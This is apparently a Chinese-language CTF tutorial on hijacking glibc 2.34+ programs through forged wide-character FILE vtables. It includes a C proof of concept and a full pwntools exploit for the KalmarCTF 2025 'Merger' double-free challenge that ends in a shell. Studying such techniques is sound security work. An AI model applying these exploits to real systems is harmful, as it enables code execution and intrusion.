在glibc2.34以後取消了__free_hook以及__malloc_hook,因此需要找到一個可以控制程序執行流程的函數指針代替__free_hook以及__malloc_hook。
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
在結構體_IO_FILE_plus中存在着類似於虛表的變量vtable,其中存儲着許多函數指針。

若能修改vtable指針並指向我們偽造的vtable,即可達成劫持程序執行流程的目的。
但是在glibc2.24之後加入了vtable指針的校驗,簡單來説就是會檢測vtable指針是否在範圍之內。因此在glibc2.24之後,需要找在範圍內的vtable指針加以利用。
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;//計算在glibc中vtable指針的範圍
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; //判斷當前vtable指針與起始位置的偏移
if (__glibc_unlikely (offset >= section_length)) //若偏移大於最大距離則校驗失敗
_IO_vtable_check ();
return vtable;
}
在glibc範圍內存在着名為_IO_wfile_jumps的vtable指針。該跳轉表中存在着一個特殊的函數_IO_wfile_overflow

調用流程如下所示,簡單來講_IO_wfile_overflow最終調用的是_IO_wdoallocbuf將宏拆解,實際最終調用的是fp->_wide_data->_wide_vtable,而在調用fp->_wide_data->_wide_vtable的時候並沒有檢測vtable的合法性,因此倘若我們能夠偽造__wide_data就能夠控制_wide_vtable變量,最後將該跳轉表內容修改為system,即可完成程序流程的劫持。
/*
_IO_wfile_overflow
=> _IO_wdoallocbuf
=> _IO_WDOALLOCATE
*/
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
//#define _IO_NO_WRITES 0x0008
//f->_flags & _IO_NO_WRITES == 0
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
//#define _IO_CURRENTLY_PUTTING 0x0800
//f->_flags & _IO_CURRENTLY_PUTTING == 0
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
//f->_wide_data->_IO_write_base == 0
if (f->_wide_data->_IO_write_base == 0)
{
//滿足上述條件執行fp->_wide_data->_wide_vtable
_IO_wdoallocbuf (f);
...
void
_IO_wdoallocbuf (FILE *fp)
{
//fp->_wide_data->_IO_buf_base == 0
if (fp->_wide_data->_IO_buf_base)
return;
//#define _IO_UNBUFFERED 0x0002
//fp->_flags & _IO_UNBUFFERED == 0
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
...
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
根據上述源碼我們可以知道,想要執行_IO_wdoallocbuf需要滿足以下幾個條件
-
f->_flags & _IO_NO_WRITES == 0 -
f->_flags & _IO_CURRENTLY_PUTTING == 0 -
f->_wide_data->_IO_write_base == 0 -
fp->_wide_data->_IO_buf_base == 0 -
fp->_flags & _IO_UNBUFFERED == 0
想要讓程序執行_IO_wfile_overflow函數需要觸發以下調用鏈

_IO_cleanup函數的作用是清理所有打開的標準I/O流,因此在程序退出時就會調用。

_IO_cleanup函數調用如下所示,實際內部執行的函數為_IO_flush_all
int
_IO_cleanup (void)
{
...
int result = _IO_flush_all ();
...
}
int
_IO_flush_all (void)
{
...
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
...
}
_IO_list_all執行的列表順序為stderr->stdout->stdin,因此我們可以通過修改stderr->_wide_data與stderr->vtable就可以優先觸發利用鏈,但是依舊需要滿足以下限制條件:
-
fp->_mode == 0 -
fp->_IO_write_ptr > fp->_IO_write_base
POC
根據上述條件,總結POC如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct _IO_jump_t {
void *funcs[27]; // 偽佔位,不同glibc版本可能不同
};
struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
};
extern struct _IO_FILE_plus _IO_2_1_stderr_;
extern const struct _IO_jump_t _IO_wfile_jumps;
long *fake_IO_wide_data;
long *fake_wide_vtable;
long * p;
int main() {
//_IO_wide_data結構大小為0xe8
fake_IO_wide_data = (long *)malloc(0xe8);
//跳轉表結構大小為0xe8
fake_wide_vtable = (long *)malloc(0xa8);
//glibc2.39:_IO_wfile_jumps = _IO_file_jumps + 0x1f8
_IO_2_1_stderr_.vtable = (char *)_IO_2_1_stderr_.vtable + 0x1f8;
stderr->_wide_data = fake_IO_wide_data;
stderr->_IO_write_ptr = 1;
stderr->_IO_write_base = 0;
*(long **)((char *)fake_IO_wide_data + 0xe0) = fake_wide_vtable;
*(long **)((char *)fake_wide_vtable + 0x68) = (long *)system;
//0xfbad為魔數,0x0101是為了拼接後續的sh字符串
memcpy((char *)&stderr->_flags,"\x01\x01\xad\xfb;sh",8);
return 0;
}
python腳本
#fake_wide_vtable(0xa8)
payload = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770
#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data = heapbase + 0x1670
#fake stderr(0xe0)
fake_stderr = FileStructure(0)
fake_stderr.flags = u64(b' sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data = fake_IO_wide_data
fake_stderr.vtable = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)
例題
KalmarCTF 2025-Merger

在merge功能中堆塊是通過realloc函數對src與dst堆塊進行合併,合併完成之後,使用free函數對src堆塊進行釋放。但是這裏存在一個漏洞點,沒有限制src與dst堆塊的下標,使得src與dst堆塊的下標可以設置為同一個值。
【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客户端安全檢測指南(安卓+IOS)
realloc函數在重新分配堆塊時會出現以下情況:
-
當重新申請的堆塊的
size小於當前堆塊的size,則realloc會分割當前堆塊 -
當重新申請的堆塊的
size大於當前堆塊的size,則realloc會先free當前堆塊,再malloc申請的size
結合merage功能,當以條件二執行realloc函數時會執行free(s)並緊接着執行free(src),因此當s=src時,就會導致double free漏洞。
想要利用上述double free漏洞,則需要滿足以下條件:
-
realloc申請的堆塊要比合並的堆塊大(以條件二方式執行realloc函數) -
double free的堆塊size需要小於0x100,否則申請不到(add功能最大隻能申請0xff堆塊)
漏洞利用流程
-
設置
src與dst的下標為相同值 -
將
malloc(0xf7)的堆塊放置在unsortbin中,緊接着src堆塊從unsortbin中申請,這樣就能夠滿足double free的堆塊size小於0x100 -
若
src堆塊從unsortbin中申請,當以條件二方式執行realloc函數時則執行:-
free(src) -
觸發
unlink,src堆塊合併回unsortbin
-
-
緊接着執行
merge函數的free(src),則src會放在tcachebin中,則構造出uaf漏洞,泄露libc地址 -
後續將
src堆塊放進fastbin中,構造double free漏洞,當相應大小的tcachebin被申請完畢後,fastbin中的堆塊會被放置在tcachebin中,從而變相構造出Tcache Poisoning -
利用
Tcache Poisoning指向堆塊(size大於0xe0,由於io_file結構體需要0xe0大小的空間) -
利用
io_file獲得shell
EXP
from pwn import *
sh = process("./merger")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.update(arch='amd64', os='linux', bits=64)
def add(index,size,data):
sh.recvuntil("> ")
sh.sendline("1")
sh.recvuntil("dex: ")
sh.sendline(str(index))
sh.recvuntil("ize: ")
sh.sendline(str(size))
sh.recvuntil("ta: ")
sh.send(data)
def delete(index):
sh.recvuntil("> ")
sh.sendline("2")
sh.recvuntil("dex: ")
sh.sendline(str(index))
def show(index):
sh.recvuntil("> ")
sh.sendline("3")
sh.recvuntil("dex: ")
sh.sendline(str(index))
def merge(dst,src):
sh.recvuntil("> ")
sh.sendline("4")
sh.recvuntil("st: ")
sh.sendline(str(dst))
sh.recvuntil("src: ")
sh.sendline(str(src))
for i in range(7):
add(i,0x87,0x87*'a')
for i in range(7):
add(i+7,0xf7,0xf7*'a')
add(14,0x87,0x87*'a')
add(15,0xf7,0xf7*'a')
add(16,0x98,0x98*'a')
for i in range(7):
delete(i+7)
delete(15)
add(14,0x87,0x87*'a')
for i in range(7):
delete(i)
for i in range(7):
add(i,0xf0,0xf0*'a')
#堆塊同時釋放在unsortbin與tcachebin中
merge(14,14)
sh.recvuntil("a"*0x87,drop=True)
libc_main_arena = u64(sh.recv(6).ljust(8,b"\x00"))
libcbase = libc_main_arena - 0x203b20
log.info("libcbase:"+hex(libcbase))
#修復unsortbin
payload = p64(libc_main_arena)*2
payload = payload.ljust(0xf0,b"a")
#堆塊20與堆塊21指向同一個堆塊,一個從tcachebin中申請,一個從unsortbin中申請
add(20,0xf0,payload)
add(21,0x77,'a'*0x77)
add(22,0x77,'a'*0x77)
for i in range(7):
add(i,0x77,0x77*'a')
for i in range(7):
delete(i)
delete(21)
show(20) #uaf泄露數據
heapbase = u64(sh.recvuntil("\n",drop=True).ljust(8,b"\x00"))<<12
log.info("heapbase:"+hex(heapbase))
#fastbin double free
delete(22)
delete(20)
for i in range(7):
add(i,0x77,0x77*'a')
for i in range(3):
add(i+7,0xf7,0xf7*'a')
for i in range(3):
delete(i+7)
#0x77的堆塊大小不足以存儲IO_File結構體,因此需要利用Tcache Poisoning指向0x100的堆塊
payload = p64((heapbase + 0x1670) ^ (heapbase>>12))
payload = payload.ljust(0x77,b"a")
add(20,0x77,payload)
add(0,0x77,'a'*0x77)
add(0,0x77,'a'*0x77)
#利用Tcache Poisoning指向_IO_2_1_stderr_
payload = p64((libcbase + libc.symbols['_IO_2_1_stderr_']) ^ (heapbase+0x1000>>12))
payload = payload.ljust(0x77,b"a")
add(0,0x77,payload)
#fake_wide_vtable(0xa8)
payload = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770
#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data = heapbase + 0x1670
#fake stderr(0xe0)
fake_stderr = FileStructure(0)
fake_stderr.flags = u64(b' sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data = fake_IO_wide_data
fake_stderr.vtable = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)
print(hex(len(fake_stderr_bytes)))
add(2,0xf0,fake_stderr_bytes+p64(0xfbad2887)+b"\n")
sh.interactive()
更多網安技能的在線實操練習,請點擊這裏>>